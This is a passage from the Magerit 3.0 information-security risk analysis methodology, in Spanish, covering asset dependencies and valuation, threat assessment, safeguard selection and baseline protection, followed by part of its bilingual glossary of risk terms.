qué servicios se prestan y qué información se trata en el sistema.
Errores típicos
No es correcto decir que una aplicación depende de la información que maneja. El razonamiento
de quien tal afirma es que “la aplicación no funcionaría sin datos”, lo que es correcto; pero no es lo
que interesa reflejar.
Más bien es todo lo contrario: la [seguridad de la] información depende de la aplicación que la
maneja. En términos de servicio, se puede decir que la aplicación no vale para nada sin datos.
Pero como el valor es una propiedad de la información, y la información es alcanzable por medio
de la aplicación, son los requisitos de seguridad de la información los que hereda la aplicación.
Luego la información depende de la aplicación. En otras palabras: a través de la aplicación puede
accederse a la información, convirtiéndose la aplicación en la vía de ataque.
Dado que datos y aplicaciones suelen aunar esfuerzos para la prestación de un servicio, el valor
del servicio se transmite tanto a los datos como a las aplicaciones intervinientes.
mal bien
aplicación → información información → aplicación
Tabla 9. Dependencias de la información y las aplicaciones
En este contexto, a veces conviene distinguir entre los datos y la información. La información es
un bien esencial, siendo los datos una concreción TIC de la información. La información es valio-
sa, lo demás es valioso en la medida en que contiene información.
La información que maneja un sistema o bien se pone por encima de los servicios, o bien se agru-
pa
1. información → servicios → equipamiento (incluyendo datos, aplicaciones, equipos, …)
2. { información + servicios } → equipamiento (incluyendo datos, aplicaciones, equipos, …)
No es correcto decir que una aplicación dependa del equipo donde se ejecuta. El razonamiento de
quien tal afirma es que “la aplicación no funcionaría sin equipo”, lo que es correcto; pero no es lo
que interesa reflejar. Si tanto la aplicación como el equipo son necesarios para prestar un servicio,
se debe decir explícitamente, sin buscar caminos retorcidos.
mal bien
• servicio → aplicación • servicio → aplicación
• aplicación → equipo • servicio → equipo
Tabla 10. Dependencias de los servicios

Ilustración 20. Jerarquía de dependencias
Los errores comentados a veces pasan desapercibidos mientras el sistema es muy reducido (sólo
hay un servicio, una aplicación y un equipo); pero aparecen en cuanto el sistema crece. Por ejem-
plo, una aplicación X puede ejecutarse en diferentes equipos con diferentes datos para prestar
diferentes servicios. Resulta entonces imposible relacionar la aplicación con uno o más equipos,
salvo considerando cada caso
Ilustración 21. Dependencias entre activos para la prestación de unos servicios
¿Están bien modeladas las dependencias?

Establecer dependencias es una tarea delicada que puede acabar mal. Antes de dar por bueno un
modelo de dependencias hay que trazar para cada activo todos los activos de los que depende
directa o indirectamente. Y se debe responder positivamente a las preguntas de si
• ¿Están todos los que son? Es decir, si se han identificado todos los activos en los que pue-
de ser atacado indirectamente el activo valorado.
• ¿Son todos los que están? Es decir, si realmente el activo valorado puede ser atacado en
todos esos activos de los que depende
Como la relación de dependencia propaga el valor acumulado, encontrar un activo sin valor acu-
mulado es síntoma de que las dependencias están mal modeladas o, simplemente, que el activo
es irrelevante.
En otras palabras: para saber si las dependencias están bien establecidas, estudie el valor acu-
mulado.
8.4. Para valorar activos

Siempre conviene valorar la información que constituye la razón de ser del sistema de informa-
ción.
Si se han modelado servicios esenciales (prestados a usuarios externos al dominio de análisis),
conviene valorarlos igualmente.

Es fácil identificar activos de tipo información y valorarlos siguiendo clasificaciones pautadas como
su carácter personal o su clasificación de seguridad. Pero pasa a ser mucho más delicado valorar
datos de tipo comercial u operacional porque hay que ir a las consecuencias del daño sufrido. Por
ello en las metodologías de gestión de riesgos se requiere que la Organización establezca unos
criterios para valorar, criterios que trascienden a los analistas y que deben proceder de los órga-
nos superiores que son los encargados de valorar el sistema y de recibir los resultados del análi-
sis.
El resto de los activos puede frecuentemente pasar sin valorar, pues su valor más importante es
soportar la información y/o los servicios y de ese cálculo se encargan las relaciones de dependen-
cias.
No obstante, si considera oportuno valorar otro tipo de activos ...
Los activos más sencillos de valorar son aquellos que se adquieren en un comercio. Si se avería,
hay que poner otro. Esto cuesta dinero y tiempo (o sea, más dinero). Se habla de un coste de re-
posición. Salvo notorias excepciones, frecuentemente ocurre que el coste de los activos físicos es
despreciable frente a otros costes, pudiendo obviarse.
Es difícil valorar las personas, en general; pero si un puesto supone una formación lenta y trabajo-
sa, hay que tener en cuenta que la persona que desempeña ese puesto se convierte en muy va-
liosa, pues su “coste de reposición” es notable.
En cualquier caso, para valorar un activo se debe identificar al responsable, que será la persona
adecuada para valorar el activo. A este responsable hay que ayudarle con tablas de valoración
como las del capítulo 4 del "Catálogo de Elementos" que, adaptadas al caso concreto, permitan
traducir la percepción de valor en una medida cualitativa o cuantitativa del mismo.
A menudo no existe el responsable único y singular de un activo y/o servicio, sino que varias per-
sonas dentro de la Organización tienen opinión cualificada al respecto. Hay que oírlas todas. Y
llegar a un consenso. Si el consenso no es obvio, puede requerir
un careo: junte a los que opinan e intente que lleguen a una opinión común
un Delphi 31 : mande cuestionarios a los que opinan e intente que converjan a una opinión co-
mún
En los procesos de valoración de activos es frecuente recurrir a personas diferentes para valorar
activos diferentes. Y es frecuente que cada entrevistado considere sus activos como de la máxima
importancia; tanto más frecuente cuanto más especializado esté el entrevistado. Como muchas
valoraciones son estimaciones de valor, hay que cuidar que todo el mundo use la misma escala
de estimar. Por ello es importante usar una tabla como la del capítulo 4 del "Catálogo de Elemen-
tos", directamente o adaptada al caso concreto. Y es importante que tras haber preguntado a los
que entienden de cada activo, todos reciban una copia de la valoración global del sistema para
que aprecien el valor relativo de “sus activos” y opinen en contexto.
Datos de carácter personal

Los datos de carácter personal están tipificados por leyes y reglamentos, requiriendo de la Orga-
nización que adopte una serie de medidas de protección independientes del valor del activo 32 .
La forma más realista de enfrentarse a los activos de carácter personal es caracterizarlos como
tales en el nivel que corresponda y, además, determinar su valor: el daño que supondría su reve-
lación o alteración indebida. Con esta aproximación, el análisis de impactos y riesgos permitirá
proteger los datos tanto por obligación legal como por su propio valor.
31 Ver "Guía de Técnicas".

32 Es posible aproximarse a la valoración de los activos que son de carácter personal cuantificando la multa
que impondría la Agencia de Protección de Datos. Esta aproximación no vale en un análisis cualitativo.
En un análisis cuantitativo, esta aproximación parte de la hipótesis de que lo peor que puede pasar con
ese dato es ser motivo de multa.
8.5. Para identificar amenazas

La tarea aparece como imposible: para cada activo, en cada dimensión, identificar amenazas.
Se puede partir de la experiencia pasada, propia o de organizaciones similares. Lo que ha ocurri-
do puede repetirse y, en cualquier caso, sería impresentable no tenerlo en cuenta.
Complementariamente, un catálogo de amenazas como el incluido en el "Catálogo de Elementos"
ayuda a localizar lo que conviene considerar en función del tipo de activo y de las dimensiones en
las que tiene un valor propio o acumulado.
A menudo se recurre a idear escenarios de ataque que no son sino dramatizaciones de cómo un
atacante se enfrentaría a nuestros sistemas. Esta técnica es la que a veces se denomina “árboles
de ataque”. Póngase en la piel del atacante e imagine qué haría con sus conocimientos y su ca-
pacidad económica. Puede que tenga que plantearse diferentes situaciones dependiendo del perfil
técnico del atacante o de sus recursos técnicos y humanos. Estas dramatizaciones son interesan-
tes para poder calcular impactos y riesgos; pero además serán muy útiles a la hora de convencer
a la alta dirección y a los usuarios de por qué una amenaza no es teórica sino muy real. Es más,
cuando evalúe las salvaguardas puede ser conveniente revisar estos escenarios de ataque.
Es habitual que las herramientas de soporte al análisis de riesgos aporten perfiles típicos para
apoyar en esta tarea.
8.6. Para valorar amenazas

La tarea es desmoralizadora: para cada activo en cada dimensión, determinar la degradación que
causarían y la probabilidad de ocurrencia.
Siempre que sea posible conviene partir de datos estándar. En el caso de desastres naturales o
accidentes industriales, se puede disponer de series históricas, genéricas o del lugar en el que se
ubican los equipos de nuestro sistema de información bajo estudio. Probablemente también se
disponga de un historial que informe de lo que es frecuente y de lo que “no pasa nunca”.
Más complicado es calificar los errores humanos; pero la experiencia permite ir aquilatando valo-
res realistas.
Y lo más complejo es calificar los ataques deliberados pues dependen de la suerte, buena o mala.
Hay muchos motivos que agudizan el peligro de una amenaza:
• que no requiera grandes conocimientos técnicos por parte del atacante 33
• que no requiera gran inversión en equipo por parte del atacante 34
• que haya un enorme beneficio económico en juego (que el atacante puede enriquecerse)
• que haya un enorme beneficio en juego (que el atacante pueda salir fuertemente beneficia-
do, en su estima, en su conocimiento por todo el mundo, ...); por lo que más quiera, evite los
retos y jamás alardee de que su sistema de información es invulnerable: no lo es y no tiene
gracia que se lo demuestren
• que haya un mal ambiente de trabajo, semilla de empleados descontentos que se vengan a
través de los sistemas, simplemente para causar daño
• que haya una mala relación con los usuarios externos, que se vengan a través de nuestros
sistemas
33 Hay que estar atentos a la “comercialización” de las herramientas de ataque pues un ataque puede re-
querir un gran experto para realizarlo manualmente (es decir, es poco frecuente); pero si el experto em-
paqueta su ataque en una herramienta con una simple interfaz gráfica, usar la herramienta se convierte
en un deporte que no requiere del atacante sino ausencia de escrúpulos (es decir, la amenaza ha pasa-
do a ser muy frecuente).
34 Hay que tener muy en cuenta que Internet es una red inmensa de poder de cómputo. Si alguien sabe
cómo organizarse, no es difícil poner a la red a “trabajar para mí” lo que supone que el atacante dispon-
ga de muchísimos más medios efectivos que el atacado.
Partiendo de un valor estándar, hay que ir aumentando o disminuyendo sus calificaciones de frecuen-
cia y degradación hasta reflejar lo más posible el caso concreto. A menudo no es evidente determinar
el valor correcto y es necesario recurrir a simulaciones que orienten. El uso de algún tipo de herra-
mienta es muy útil para estudiar las consecuencias de un cierto valor, lo que algunos autores denomi-
nan la sensibilidad del modelo a cierto dato. Si se aprecia que los resultados cambian radicalmente
ante pequeñas alteraciones de una estimación de frecuencia o degradación, hay que (1) ser realistas y
(2) prestar extrema atención a por qué el sistema es tan sensible a algo tan concreto y tomar medidas
orientadas a independizar el sistema; es decir, a no hacer crítica una cierta amenaza.
Recuerde que la frecuencia no afecta al impacto, por lo que estudiando el impacto se puede ajus-
tar la degradación y, posteriormente, estudiando el riesgo se puede ajustar la frecuencia. Nunca
se debe aceptar un valor injustificado de degradación en la esperanza de compensarlo con la fre-
cuencia, pues la estimación del impacto es importante en sí misma, además de la de riesgo.
Sea cual sea la decisión final que se tome para estimar un valor, hay que documentarla pues an-
tes o después se pedirán explicaciones, sobre todo si como consecuencia se van a recomendar
salvaguardas costosas.
Es habitual que las herramientas de soporte al análisis de riesgos aporten perfiles típicos para
apoyar en esta tarea.
8.7. Para seleccionar salvaguardas

Probablemente la única forma es tirar de catálogo. Use un (sistema) experto que le ayude a ver
qué solución es adecuada para cada combinación de
• tipo de activo
• amenaza a la que está expuesto
• dimensión de valor que es motivo de preocupación
• nivel de riesgo
A menudo encontrará muchas soluciones para un problema, con diferentes calidades. En estos
casos debe elegir una solución proporcionada a los niveles de impacto y riesgo calculados.
Muchas salvaguardas son de bajo coste, bastando configurar adecuadamente los sistemas u or-
ganizar normativa para que el personal haga las cosas de forma adecuada. Pero algunas contra
medidas son realmente costosas (en su adquisición, en su despliegue, en su mantenimiento pe-
riódico, en la formación del personal a su cargo, ...). En estos casos conviene ponderar si el coste
de la salvaguarda no supera el riesgo potencial; es decir, tomar siempre decisiones de gasto que
supongan un ahorro neto.
Por último, y no menos importante, a la hora de desplegar salvaguardas hay que considerar su
facilidad de uso. Lo ideal es que la salvaguarda sea transparente de forma que el usuario no ten-
ga que hacer nada o, en su defecto, cuanto menos haya que hacer, mejor. Simplemente porque
una salvaguarda de complejo manejo requiere personal especializado y añade a las amenazas
que ya tenía el sistema la amenaza que supone su defectuosa utilización.
8.8. Aproximaciones sucesivas

El lector ya se habrá percibido de que el análisis de riesgos puede ser muy laborioso, requiriendo
tiempo y esfuerzo. Además, hay que introducir muchos elementos que no son objetivos, sino esti-
maciones del analista, lo que implica que haya que explicar y consensuar lo que significa cada
cosa para no estar expuestos a impactos o riesgos que se ignoran o se infravaloran, ni convertir la
paranoia en un dispendio de recursos injustificados.
Si hay que ser prácticos y efectivos, conviene realizar aproximaciones sucesivas. Se empieza por
un análisis somero, de alto nivel, identificando rápidamente lo más crítico: activos de gran valor,
vulnerabilidades manifiestas o, simplemente, recomendaciones de libro de texto porque no hay
nada más prudente que aprender en cabeza ajena, aprovechando la experiencia de los demás.
Este análisis de riesgos es imperfecto, evidentemente; pero cabe confiar en que lleve en la direc-

ción correcta. Los párrafos siguientes dan indicaciones de cómo orientarse rápidamente hacia el
objetivo final: tener impactos y riesgos bajo control.
Nótese que estas aproximaciones imperfectas permiten desplegar rápidamente sistemas razona-
blemente protegidos cuando no hay tiempo para un análisis de riesgos en toda su plenitud. Cuan-
do, con tiempo, se llegue a la fase de gestión de riesgos tras un análisis exhaustivo, muy proba-
blemente ocurra que muchas salvaguardas están ya dispuestas, necesitándose sólo la introduc-
ción de algunas nuevas y/o la mejora de la eficacia de las existentes. No es pues trabajo perdido
seguir estas aproximaciones informales.
8.8.1. Protección básica

Es frecuente oír hablar de medidas básicas de protección (baseline) que deberían implantarse en
todos los sistemas, salvo que se demuestre que no son pertinentes a algún caso particular.
Por favor, no discuta; ni lo dude: a sus sistemas de información no debe poder acceder cualquiera
en cualquier momento. Puede protegerlos física o lógicamente, poniéndolos en una sala donde no
entra cualquiera, o imponiendo una identificación de acceso lógico. Pero ¡protéjalos!
Este tipo de razonamientos se pueden aplicar con frecuencia y llevan a desplegar un mínimo de
salvaguardas “de puro sentido común”. Una vez avanzado lo que es obvio y no se debería nunca
discutir, se puede avanzar a niveles más elaborados, específicos de cada sistema.
Para aplicar un tratamiento básico se requiere un catálogo de salvaguardas. Existen numerosas
fuentes, entre las que cabe destacar:
• normas internacionales, por ejemplo [ISO 27002]
• normas sectoriales
• normas corporativas, especialmente frecuentes en pequeñas delegaciones de grandes or-
ganizaciones
Las ventajas de protegerse por catálogo son:
• es muy rápido
• cuesta menos esfuerzo que ponerse a analizar y decidir
• se logra un nivel homogéneo con otras organizaciones parecidas
Los inconvenientes de protegerse por catálogo son:
• el sistema puede protegerse frente a amenazas que no padece, lo que supone un gasto in-
justificado
• el sistema puede estar inadecuadamente protegido frente a amenazas reales
En general, con la protección básica no se sabe lo que se hace y, aún estando probablemente en
la senda correcta, no hay medida de si falta o si sobra. No obstante, puede ser un punto de parti-
da útil para refinar posteriormente.
La protección por catálogo puede refinarse un poco considerando el valor y la naturaleza de los
activos o cuantificando las amenazas.
En base a la tipificación de los activos

Si usted tiene datos de carácter personal calificados de nivel alto, tiene que cifrarlos.
Si usted tiene datos clasificados como confidenciales, tiene que etiquetarlos y cifrarlos.
Aparte de cumplir con la legislación y normativa específica, habrá llevado a cabo una especie de
“vacunación preventiva” de activos que seguro que son importantes.
Si usted tiene una red local conectada al exterior, tiene que poner un cortafuegos en el punto de
conexión.
etc.

En base al valor de los activos

Si usted tiene todos los datos operacionales en soporte informático, tiene que hacer copias de se-
guridad.
Si usted tiene equipos informáticos, manténgalos al día con las actualizaciones del fabricante.
Lo que vale hay que cuidarlo, por si le pasara algo, sin entrar en muchas precisiones de qué les
puede pasar exactamente.
En base a las amenazas

Si se trata de un sistema de la llamada administración electrónica (tramitación administrativa no
presencial) o si los sistemas se usan para comerciar electrónicamente (compras y ventas no pre-
senciales), registre cuidadosamente quién hace qué en cada momento pues se enfrentará a inci-
dencias con los usuarios, teniendo que determinar quién tiene razón y quien paga los perjuicios.
También habrá quien quiera usar sus servicios sin tener derecho a ello (fraude).
Lo que se puede necesitar, es necesario, y parte de las responsabilidades del responsable de se-
guridad es disponer de la información correcta cuando haga falta.
En base a la exposición
Si usted tiene una red de equipos antiguos y se conecta a Internet, debe instalar un cortafuegos.
Si tiene usted una aplicación en producción, debe mantenerla al día aplicando mejoras y corri-
giendo los defectos anunciados por el fabricante.
Cuando se sabe que los sistemas de información son vulnerables, hay que protegerlos.

Magerit 3.0 Glosario
Apéndice 1. Glosario
Diferentes autores u organizaciones definen los mismos términos de diferentes formas y maneras.
Las siguientes tablas recopilan definiciones acordes al sentido en el cual se emplean los términos
en esta guía metodológica, tanto en español como en inglés. De las múltiples definiciones se ha
seleccionado la preferida en Magerit v2, resaltándola en negrita. Cuando la definición procede de
alguna fuente, se cita esta. La ausencia de fuente indica que es definición propia de esta guía.
Salvo razones en contra, siempre se ha preferido mantener la definición propuesta en Magerit v1
(1997).
A1.1. Términos en español

Aceptación del Decisión informada a favor de tomar un riesgo. [UNE-ISO Guía 73:2010]
riesgo
Acreditación Acción de facultar a un sistema o red de información para que procese da-
tos sensibles, determinando el grado en el que el diseño y la materializa-
ción de dicho sistema cumple los requerimientos de seguridad técnica
preestablecidos. [CESID:1997]
Accreditation: Formal declaration by the responsible management approving
the operation of an automated system in a particular security mode using a
particular set of safeguards. Accreditation is the official authorization by
management for the operation of the system, and acceptance by that man-
agement of the associated residual risks. Accreditation is based on the certi-
fication process as well as other management considerations. [15443-
1:2005]
Activo Componente o funcionalidad de un sistema de información susceptible de

ser atacado deliberada o accidentalmente con consecuencias para la or-
ganización. Incluye: información, datos, servicios, aplicaciones (software),
equipos (hardware), comunicaciones, recursos administrativos, recursos
físicos y recursos humanos. [UNE 71504:2008]
Recursos del sistema de información o relacionados con éste, necesarios
para que la Organización funcione correctamente y alcance los objetivos
propuestos por su dirección. [Magerit: 2006]
Recursos del sistema de información o relacionados con éste, necesarios
para que la Organización funcione correctamente y alcance los objetivos
propuestos por su dirección. [Magerit:1997]
Bienes: En la teoría de los valores, la realidad que posee un valor positivo
y por ello es estimable. [DRAE]
Asset: A component or part of the total system. Assets may be of four
types: physical, application software, data, or end user services.
[CRAMM:2003]
Asset: Something of value to the enterprise. [Octave:2003]
Asset: Any information resource with value that is worth protecting or pre-
serving. [TDIR:2003]
Assets: Information or resources to be protected by the countermeasures
of a Target of Evaluation. [CC:1999]
Amenaza Causa potencial de un incidente que puede causar daños a un sistema de

información o a una organización. [UNE 71504:2008]
Potential cause of an unwanted incident, which may result in harm to a
system or organization. [ISO/IEC 27000:2009]

riesgo
Eventos que pueden desencadenar un incidente en la Organización, pro-
duciendo daños materiales o pérdidas inmateriales en sus activos. [Mage-
rit:2006]
Eventos que pueden desencadenar un incidente en la Organización, pro-
duciendo daños materiales o pérdidas inmateriales en sus activos. [Mage-
rit:1997]
Condición del entorno del sistema de información que, dada una oportuni-
dad, podría dar lugar a que se produjese una violación de la seguridad.
[CESID:1997]
Threat: Any circumstance or event with the potential to adversely impact
agency operations (including mission, functions, image, or reputation),
agency assets, or individuals through an information system via unauthor-
ized access, destruction, disclosure, modification of information, and/or de-
nial of service. [800-53:2009]
Threat: Any circumstance or event with the potential to adversely impact an
information system through unauthorized access, destruction, disclosure,
modification of data, and/or denial of service. [CNSS:2003]
Threat: An activity, deliberate or unintentional, with the potential for causing
harm to an automated information system or activity. [TDIR:2003]
Threat: Any circumstance or event that could harm a critical asset through
unauthorized access, compromise of data integrity, denial or disruption of
service, or physical destruction or impairment. [CIAO:2000]
A threat is an indication of a potential undesirable event. [NSTISSI:1998]
Threat: A potential violation of security. [7498-2:1989]
Análisis de impacto Estudio de las consecuencias que tendría una parada de X tiempo sobre la
Organización.
Análisis de riesgos Proceso sistemático para estimar la magnitud de los riesgos a que está
expuesta una Organización.
Análisis del riesgo – Proceso que permite comprender la naturaleza del
riesgo y determinar el nivel de riesgo. [UNE-ISO Guía 73:2010]
Identificación de las amenazas que acechan a los distintos componentes
pertenecientes o relacionados con el sistema de información (conocidos
como ‘activos’); para determinar la vulnerabilidad del sistema ante esas
amenazas y para estimar el impacto o grado de perjuicio que una seguri-
dad insuficiente puede tener para la organización, obteniendo cierto cono-
cimiento del riesgo que se corre. [Magerit:1997]
Risk assessment: Process of evaluating the risks of information loss based
on an analysis of threats to, and vulnerabilities of, a system, operation or
activity. [OPSEC]
Risk Analysis: Examination of information to identify the risk to an informa-
tion system. [CNSS:2003]
Risk Assessment:: Process of analyzing threats to and vulnerabilities of an
information system, and the potential impact resulting from the loss of informa-
tion or capabilities of a system. This analysis is used as a basis for identifying
appropriate and cost-effective security countermeasures. [CNSS:2003]
Risk Analysis: An analysis of system assets and vulnerabilities to establish
an expected loss from certain events based on estimated probabilities of
occurrence. [TDIR:2003]

riesgo
Risk Assessment: A study of vulnerabilities, threats, likelihood, loss or im-
pact, and theoretical effectiveness of security measures. The process of
evaluating threats and vulnerabilities, known and postulated, to determine
expected loss and establish the degree of acceptability to system opera-
tions. [TDIR:2003]
Ataque Intento de destruir, exponer, alterar o inhabilitar un sistema de información

o la información que el sistema maneja, o violar alguna política de segu-
ridad de alguna otra manera. [ISO/IEC 18043:2006]
Cualquier acción deliberada encaminada a violar los mecanismos de segu-
ridad de un sistema de información. [CESID:1997]
Auditoría de segu- Estudio y examen independiente del historial y actividades de un sistema

ridad de información, con la finalidad de comprobar la idoneidad de los controles
del sistema, asegurar su conformidad con la estructura de seguridad y
procedimientos operativos establecidos, a fin de detectar brechas en la
seguridad y recomendar cambios en los procedimientos, controles y es-
tructuras de seguridad.
Autenticidad Propiedad o característica consistente en que una entidad es quien dice ser o
bien que garantiza la fuente de la que proceden los datos. [UNE 71504:2008]
Aseguramiento de la identidad u origen. [Magerit:2006]
Autenticación: Característica de dar y reconocer la autenticidad de los ac-
tivos del dominio (de tipo información) y/o la identidad de los actores y/o la
autorización por parte de los autorizadores, así como la verificación de di-
chas tres cuestiones. [Magerit:1997]
Authenticity: Having an undisputed identity or origin. [OPSEC]
Authenticity: The property of being genuine and being able to be verified
and trusted; confidence in the validity of a transmission, a message, or
message originator. [800-53:2009]
Certificación Confirmación del resultado de una evaluación, y que los criterios de eva-
luación utilizados fueron correctamente aplicados.
Confidencialidad Propiedad o característica consistente en que la información ni se pone a dis-

posición ni se revela a individuos, entidades o procesos no autorizados. [UNE
71504:2008]
Aseguramiento de que la información es accesible sólo para aquellos autori-
zados a tener acceso. [Magerit:2006]
Característica que previene contra la divulgación no autorizada de activos del
dominio. [Magerit:1997]
Confidentiality: An assurance that information is not disclosed to unauthorized
entities or processes (DOD JP 1994; JCS 1997) [OPSEC]
Confidentiality: Preserving authorized restrictions on information access and
disclosure, including means for protecting personal privacy and proprietary
information. [800-53:2009]
Confidentiality: The requirement of keeping proprietary, sensitive, or personal
information private and inaccessible to anyone that is not authorized to see it.
[Octave:2003]
Confidentiality: Assurance that information is not disclosed to unauthorized
persons, processes, or devices. [CNSS:2003] [TDIR:2003]

riesgo
Confidentiality: The property that information is not made available or dis-
closed to unauthorized individuals, entities, or processes. [ISO 7498-2:1989]
Contra medida Véase salvaguarda.
Control Véase salvaguarda.
Declaración de Documento formal en el que, para un conjunto de salvaguardas, se indica

aplicabilidad sin son de aplicación en el sistema de información bajo estudio o si, por el
contrario, carecen de sentido.
Degradación Pérdida de valor de un activo como consecuencia de la materialización de

una amenaza.
Dimensión de se- Un aspecto, diferenciado de otros posibles aspectos, respecto del que se
guridad puede medir el valor de un activo en el sentido del perjuicio que causaría
su pérdida de valor.
Disponibilidad Aseguramiento de que los usuarios autorizados tienen acceso cuando lo

requieran a la información y sus activos asociados. [UNE 71504:2008]
Característica que previene contra la denegación no autorizada de acceso
a activos del dominio. [Magerit:1997]
Availability: The assurance that data transmissions, computer processing
systems, and/or communications are not denied to those who are author-
ized to use them (JCS 1997) [OPSEC]
Availability: Ensuring timely and reliable access to and use of information.
[800-53:2009]
Availability: The extend to which, or frequency with which, an asset must
be present or ready for use. [Octave:2003]
Availability: Timely, reliable access to data and information services for au-
thorized users. [CNSS:2003] [TDIR:2003] [CIAO:2000]
Availability: The property of being accessible and usable upon demand by
an authorized entity. [ISO 7498-2:1989]
Estado de riesgo Informe: Caracterización de los activos por su riesgo residual; es decir lo que
puede pasar tomando en consideración las salvaguardas desplegadas.
Evaluación de Informe: Evaluación de la eficacia de las salvaguardas existentes en rela-

salvaguardas ción al riesgo que afrontan.
Frecuencia Tasa de ocurrencia de una amenaza.

Número de sucesos o de efectos en una unidad de tiempo definida. [UNE-
ISO Guía 73:2010]
Gestión de riesgos Actividades coordinadas para dirigir y controlar una organización el lo rela-
tivo al riesgo. [UNE-ISO Guía 73:2010]
Selección e implantación de salvaguardas para conocer, prevenir, impedir,
reducir o controlar los riesgos identificados. [Magerit:2006]
Selección e implantación de las medidas o ‘salvaguardas’ de seguridad
adecuadas para conocer, prevenir, impedir, reducir o controlar los riesgos
identificados y así reducir al mínimo su potencialidad o sus posibles perjui-
cios. La gestión de riesgos se basa en los resultados obtenidos en el aná-
lisis de los riesgos. [Magerit:1997]

riesgo
Risk management: A security philosophy which considers actual threats,
inherent vulnerabilities, and the availability and costs of countermeasures
as the underlying basis for making security decisions (JSCR 1994). [OP-
SEC]
Risk management: Process of identifying and applying countermeasures
commensurate with the value of the assets protected based on a risk as-
sessment. [CNSS:2003]
The identification, assessment, and mitigation of probabilistic security
events (risks) in information systems to a level commensurate with the
value of the assets protected. [CIAO:2000]
Impacto Consecuencia que sobre un activo tiene la materialización de una amena-

za.
Consecuencia – Resultado de un suceso que afecta a los objetivos. [UNE-
ISO Guía 73:2010]
Consecuencia que sobre un activo tiene la materialización de una amena-
za. [Magerit:1997]
Impact: The effect of a threat on an organization's mission and business
objectives. [Octave:2003]
Impact: The effect on the organisation of a breach in security.
[CRAMM:2003]
Impacto residual Impacto remanente en el sistema tras la implantación de las salvaguardas

determinadas en el plan de seguridad de la información.
Incidente de segu- Suceso (inesperado o no deseado) con consecuencias en detrimento de la

ridad seguridad del sistema de información. [UNE 71504:2008]
Evento con consecuencias en detrimento de la seguridad del sistema de
información. [Magerit:2006]
Information security event: identified occurrence of a system, service or
network state indicating a possible breach of information security policy or
failure of controls, or a previously unknown situation that may be security
relevant. [ISO/IEC 27000:2009]
Information security incident: single or a series of unwanted or unexpected
information security events that have a significant probability of compromis-
ing business operations and threatening information security. [ISO/IEC
27000:2009]
Incident: A successful or unsuccessful action attempting to circumvent
technical controls, organizational policy, or law. This is often called an at-
tack. [TDIR:2003]
Informe de Informe: Ausencia o debilidad de las salvaguardas que aparecen como

insuficiencias oportunas para reducir el riesgo sobre el sistema.
Integridad Propiedad o característica consistente en que el activo no ha sido alterado

de manera no autorizada. [UNE 71504:2008]
Característica que previene contra la modificación o destrucción no autori-
zadas de activos del dominio. [Magerit:1997]
Information integrity: The state that exists when information is unchanged
from its source and has not been accidentally or intentionally modified, al-
tered, or destroyed (NSC EO 1995; JCS 1997). [OPSEC]

riesgo
Integrity: Guarding against improper information modification or destruc-
tion, and includes ensuring information non-repudiation and authenticity.
[800-53:2009]
Integrity: the authenticity, accuracy, and completeness of an asset. [Oc-
tave:2003]
Data integrity: A condition existing when data is unchanged from its source
and has not been accidentally or maliciously modified, altered, or de-
stroyed. [CNSS:2003] [TDIR:2003] [CIAO:2000]
Data integrity: The data quality that exists as long as accidental or mali-
cious destruction, alteration, or loss of data does not occur. [CRAMM:2003]
Integrity: Condition existing when an information system operates without
unauthorized modification, alteration, impairment, or destruction of any of
its components. [CIAO:2000]
Mapa de riesgos Informe: Relación de las amenazas a que están expuestos los activos.
Threat Analysis: The examination of all actions and events that might ad-
versely affect a system or operation. [TDIR:2003]
Threat Assessment: An evaluation of the nature, likelihood, and conse-
quence of acts or events that could place sensitive information and assets
as risk. [TDIR:2003]
Medida de seguri- Véase salvaguarda.

dad
Modelo de valor Informe: Caracterización del valor que representan los activos para la Or-
ganización así como de las dependencias entre los diferentes activos.
Plan de seguridad Conjunto de proyectos de seguridad que permiten materializar las decisio-
nes de gestión de riesgos.
Probabilidad Probabilidad (likelihood) – Posibilidad de que un hecho se produzca.

[UNE-ISO Guía 73:2010]
NOTA 1 – En la terminología de la gestión del riesgo, la palabra “probabili-
dad” se utiliza para indicar la posibilidad de que algún hecho se produzca,
que esta posibilidad está definida, medida o determinada objetiva o subje-
tivamente, cualitativa o cuantitativamente, y descrita utilizando términos
generales o de forma matemática [tales como una probabilidad o una fre-
cuencia sobre un periodo de tiempo dado].
Proyecto de Agrupación de tareas orientadas a tratar el riesgo del sistema. La agrupa-

seguridad ción se realiza por conveniencia, bien porque se trata de tareas que en
singular carecerían de eficacia, bien porque se trata de tareas con un obje-
tivo común, bien porque se trata de tareas que competen a una única uni-
dad de acción.
Riesgo Estimación del grado de exposición a que una amenaza se materialice so-
bre uno o más activos causando daños o perjuicios a la Organización.
Efecto de la incertidumbre sobre la consecución de los objetivos. [UNE-
ISO Guía 73:2010]
Posibilidad de que se produzca un impacto determinado en un activo, en
un dominio o en toda la Organización. [Magerit:1997]

riesgo
Probabilidad de que una vulnerabilidad propia de un sistema de informa-
ción sea explotada por las amenazas a dicho sistema, con el objetivo de
penetrarlo. [CESID:1997]
Risk: A measure of the potential degree to which protected information is
subject to loss through adversary exploitation. [OPSEC]
Risk: Possibility that a particular threat will adversely impact an information
system by exploiting a particular vulnerability. [CNSS:2003]
Risk: A combination of the likelihood that a threat will occur, the likelihood
that a threat occurrence will result in an adverse impact, and the severity of
the resulting adverse impact. Reducing either the threat or the vulnerability
reduces the risk. [TDIR:2003]
Total risk: The potential for the occurrence of an adverse event if no miti-
gating action is taken (i.e., the potential for any applicable threat to exploit
a system vulnerability). [TDIR:2003]
Risk: A measure of the exposure to which a system or potential system
may be subjected. [CRAMM:2003]
Riesgo acumulado Dícese del calculado tomando en consideración el valor propio de un acti-
vo y el valor de los activos que depende de él. Este valor se combina con
la degradación causada por una amenaza y la frecuencia estimada de la
misma.
Riesgo potencial Riesgos potenciales. Los riesgos del sistema de información en la hipóte-
sis de que no hubieran salvaguardas presentes. [UNE 71504:2008]
Inherent risk – The risk level or exposure without taking into account the
actions that management has taken or might take (e.g. implementing con-
trols) [RiskIT-PG:2009]
Riesgo repercutido Dícese del calculado tomando en consideración únicamente el valor propio
de un activo. Este valor se combina con la degradación causada por una
amenaza y la frecuencia estimada de la misma, medidas ambas sobre ac-
tivos de los que depende.
Riesgo residual Riesgo remanente en el sistema después del tratamiento del riesgo. [UNE-
ISO Guía 73:2010]
Riesgo remanente en el sistema tras la implantación de las salvaguardas
determinadas en el plan de seguridad de la información. [Magerit:2006]
Riesgo que se da tras la aplicación de salvaguardas dispuestas en un es-
cenario de simulación o en el mundo real. [Magerit:1997]
Residual risk: Portion of risk remaining after security measures have been
applied. [CNSS:2003] [CRAMM:2003]
